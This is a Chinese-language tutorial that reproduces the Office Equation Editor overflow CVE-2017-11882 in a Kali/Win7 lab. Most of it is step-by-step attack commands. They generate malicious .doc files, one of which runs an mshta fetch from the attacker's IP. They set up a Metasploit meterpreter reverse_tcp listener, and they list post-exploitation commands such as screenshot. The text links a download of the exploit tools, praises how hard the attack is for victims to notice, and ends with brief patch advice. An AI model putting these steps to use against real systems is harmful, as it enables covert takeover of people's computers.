[漏洞復現] CVE-2017-11882 通殺所有office版本
1、漏洞概述
這幾個月來,針對微軟Office套件最火熱最流行的攻擊手段,莫過於基於CVE-2017-11882的漏洞利用。
2017年11月14號,微軟推送了常規的安全更新,其中,關於CVE-2017-11882的安全更新引起了圈裏的關註,隨之而來的,便是針對此漏洞的POC攻擊代碼被逐漸公開。各路大神在Twitter和Github上相繼公布自己的POC及對應的漏洞利用姿勢,將這股烈火蔓延到2018年。
為什麽這個漏洞會引起這麽大的關註度呢?
從漏洞利用效果來看,它可以通殺Office 2003到2016的所有版本,並且整個攻擊環境的構建非常簡單,姿勢又非常“優雅”。例如,有些攻擊效果會出現彈框,會出現CPU飆高,會發生異常等等,而這個漏洞的利用效果,堪稱“無色無味”。在後續實驗過程中,大家可以自行體會。
更重要的是,這枚“通殺型”的Office高危漏洞,其實已經潛伏了17年之久,直到近幾個月才被發現並低調修復……
那麽,這個漏洞是怎麽回事呢?簡單來說:
此漏洞是由Office軟件裏面的 [公式編輯器] 造成的,由於編輯器進程沒有對名稱長度進行校驗,導致緩沖區溢出,攻擊者通過構造特殊的字符,可以實現任意代碼執行。
舉個例子,如果黑客利用這個漏洞,構造帶有shell後門的office文件,當普通用戶打開這個office文件,則電腦可以被黑客直接控制。
影響版本:
office 2003
office 2007
office 2010
office 2013
office 2016
2、漏洞復現環境
Kali Linux 2017.03 + Windows 7 + Office 2016
滲透機:Kali Linux + POC代碼
靶機:Win7 + Office 2016
註:為了節省大家實驗時間,我將此實驗涉及到的工具全部上傳到網盤。
鏈接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA 密碼:nbw2
3、實驗流程
①下載office 2016
直接上msdn.itellyou.cn下載office 2016
種子鏈接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/
②安裝office 2016
在Win7靶機中,安裝office 2016套件,這裏需要一些時間,大家也可以用其他windows和office版本來測試。
③下載POC代碼
Github上有很多大神分享針對這個漏洞的POC代碼,但測試過程中,發現有些驗證效果不出來,有些驗證過程太復雜。
建議大家直接將我網盤分享的CVE-2017-11882文件夾下載下來,放到Kali Linux滲透機桌面。如下:
④進入shell終端,使用POC代碼生成特殊改造的word文件
進入POC代碼目錄 root@kali:~/Desktop# cd CVE-2017-11882
查看文件
root@kali:~/Desktop/CVE-2017-11882# ls
生成word文檔11882.doc,打開doc文件之後,會彈出計算器(以此驗證offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc
生成word文檔11882.doc,打開doc文件之後,會彈出任務管理器(以此驗證offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc
再次查看,可以看到多了兩個doc文件 root@kali:~/Desktop/CVE-2017-11882# ls
⑤將文件拷貝到Win7靶機上,並驗證效果
使用Word 2016打開第一個文件-11882.doc文件,查看效果:
使用Word 2016打開第二個文件-11882-2.doc文件,查看效果:
可以看到,由於Office2016存在CVE-2017-11882漏洞,當打開特殊構造的word文件時,windows會執行其他動作。既然此漏洞能夠造成win系統執行其他動作,那麽,是否順便可以反彈會話,直接被滲透機控制呢?答案是肯定的。接下來我們來做進一步的驗證。
⑥在Kali Linux上構造帶有shell後門的word文件,並開啟監聽
首先,為了後續更好的管理和使用滲透代碼,可以將網盤中下載的代碼”shell.rb”,名稱修改為“cve-2017-11886.rb”
將CVE-2017-11882.rb拷貝到metasploit目錄中,這裏拷貝到目錄/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls
進入Metasploit框架,搜索CVE-2017-11882:
root@kali:~# msfconsole
msf > search CVE-2017-11882
使用CVE-2017-11882.rb模塊,開啟Meterpreter監聽會話:
使用模塊 msf > use exploit/windows/smb/CVE-2017-11882
設置tcp反彈會話 msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
設置滲透機ip地址(這裏通過ifconfig命令查看) msf exploit(CVE-2017-11882) > set lhost 172.16.70.216
設置路徑為11882,可自定義 msf exploit(CVE-2017-11882) > set uripath 11882
開啟滲透,進入監聽狀態 msf exploit(CVE-2017-11882) > exploit
使用CVE-2017-11882.py模塊,生成帶有shell的doc文件:
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc
此時,CVE-2017-11882目錄中增加了另外一個word文件11882-3,而此文件的功能便是:打開它的電腦會反彈shell會話到控制機
將文件11882-3.doc拷貝到靶機win7上面:
在Win7打開11882-3.doc文件,此時觀察Win7靶機和Kali Linux滲透機
註:做這個實驗之前,首先要求滲透機Kali Linux和靶機Win7能夠聯通,例如在我的虛擬環境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,兩個虛擬機采用NAT網卡模式。
當靶機打開文件時,整個過程沒有任何彈框,也沒有其他異常動作,整個攻擊效果非常“優雅”,肉雞很難發現。
此時,在另一段的Kali Linux滲透機,已經獲取到shell會話。
通過命令sessions查看meterpreter會話:
msf exploit(CVE-2017-11882) > sessions
此後便可以通過meterpreter來對會話進行管理:
進入會話 msf exploit(CVE-2017-11882) > sessions 1
查看系統信息 meterpreter > sysinfo
查看當前用戶 meterpreter > getuid
截屏 meterpreter > screenshot
可以看到,安裝了最新office 2016版本的win7,因為CVE-2017-11882漏洞,當打開帶有shell後門的doc文件時,kali滲透機可以獲取到完美的後門並控制win7。
4、漏洞修復
①在線更新;開啟Windows Update更新,這種方式對於大部分人來說就夠了。
②打補丁;此漏洞對應的微軟補丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
=====================
[漏洞復現] CVE-2017-11882 通殺所有office版本